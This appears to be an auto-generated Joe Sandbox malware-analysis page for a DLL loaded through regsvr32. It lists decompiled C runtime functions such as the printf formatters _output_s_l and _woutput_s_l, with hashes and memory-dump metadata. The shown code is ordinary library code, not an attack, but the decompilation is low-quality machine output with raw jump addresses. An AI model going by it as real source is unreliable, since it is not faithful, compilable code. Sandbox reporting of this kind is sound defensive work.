Opcode Fuzzy Hash: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction Fuzzy Hash: FA91193260DB8582DAA4DB55E49077EB3A0F7C4785F214526EACE83BA9CF3DE041CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6F8(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t217;
				signed char _t222;
				intOrPtr _t257;
				signed int _t332;
				signed int _t333;
				signed long long _t336;
				intOrPtr* _t359;
				signed long long _t384;

				_t332 = __rax;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t333 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t336 = _a824;
				_a832 = _t336;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t336;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t217 = _a116;
				_a116 = _a116 - 1;
				if (_t217 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t217 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t222 = _a816 + _a708;
				_a816 = _t222;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t222;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t257 = _a1060;
				_a876 = _t257;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t384, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6f8
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

0, xrefs: 000007FEF9D3C739
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: 0$9
API String ID: 1967237116-1975997740
Opcode ID: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction ID: c0a57250e5e6ff09cb8cd0b3e72d4402f8dee1629557039505579d47a847bcbd
Opcode Fuzzy Hash: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction Fuzzy Hash: 1E41C87660DAC187E7B58B19E8917AEB7E4F385791F100125EBC886B98DBBDD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E70C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D3E70C(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t213;
				signed char _t218;
				void* _t249;
				intOrPtr _t257;
				signed int _t331;
				signed int _t332;
				signed long long _t335;
				intOrPtr* _t354;
				intOrPtr* _t359;
				signed long long _t389;

				_t331 = __rax;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t332 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t335 = _a1304;
				_a1312 = _t335;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t335;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t213 = _a116;
				_a116 = _a116 - 1;
				if (_t213 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t213 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t218 = _a1296 + _a1220;
				_a1296 = _t218;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t218;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t354 = _a64;
				_a1328 = _t354;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t249 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t354;
				E000007FE7FEF9D26840(_t249,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t354 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t257 = _a1504;
				_a1344 = _t257;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t389, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e70c
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785

Strings

', xrefs: 000007FEF9D3E70C
9, xrefs: 000007FEF9D3E988

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$9
API String ID: 1967237116-1823400153
Opcode ID: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction ID: 29668378713c93b892a0041d725b85e979c1ad93fe9cb8202607dd12c91b0faa
Opcode Fuzzy Hash: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction Fuzzy Hash: 0241C33660DA858AE7A18B19E8407AFB3E4F7C5752F100125E6D8C6AE8EBBDD4408F14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27100 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 000007FEF9D271EB

Strings

@'/, xrefs: 000007FEF9D27220, 000007FEF9D2724D, 000007FEF9D27267
0*/, xrefs: 000007FEF9D27163, 000007FEF9D271AB

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer
String ID: 0*/$@'/
API String ID: 3527080286-4269268540
Opcode ID: 44cb388d9b870140d99a40c9b372f402bf81f41f696d4103a424b7cff1120763
Instruction ID: b357231f8f0063d758982780f1c63af601305b6eea545ef6037656fa00afa9a2
Opcode Fuzzy Hash: 44cb388d9b870140d99a40c9b372f402bf81f41f696d4103a424b7cff1120763
Instruction Fuzzy Hash: 64411625A0AA4A92EBA09B19EC4537E23E0F785784FB15132D5CD077B5CF7EE8018745

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D3D7BF

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D3D779
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp, xrefs: 000007FEF9D3D78E

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp
API String ID: 2480363372-1749241151
Opcode ID: 69826465c09442dd62c721ef0480ef2ecfb8ed15fa83514cc39f9f882c8ed808
Instruction ID: 19170a7b4d801314c698f141b2cab39615b7a96e1dab02ace679e734dc17c016
Opcode Fuzzy Hash: 69826465c09442dd62c721ef0480ef2ecfb8ed15fa83514cc39f9f882c8ed808
Instruction Fuzzy Hash: BD113D7AA2868686EBE49B94D841B6D63E1F781795F605036E68E43BA4CB3DE404CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D41200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D4120D
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D4125E

Strings

csm, xrefs: 000007FEF9D4121D

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyedExceptionFindFrameObjectUnlink
String ID: csm
API String ID: 1826589669-1018135373
Opcode ID: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction ID: 9f3dc625307ec028be1fda2cc305f99b8c00c3b4febe2b6a2618c0b56fcdacc0
Opcode Fuzzy Hash: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction Fuzzy Hash: 61114232944681CADFA0DF79C8812BD27E4F795B88F615135EA5D877B1CB26D981C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F3E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D2F419

Strings

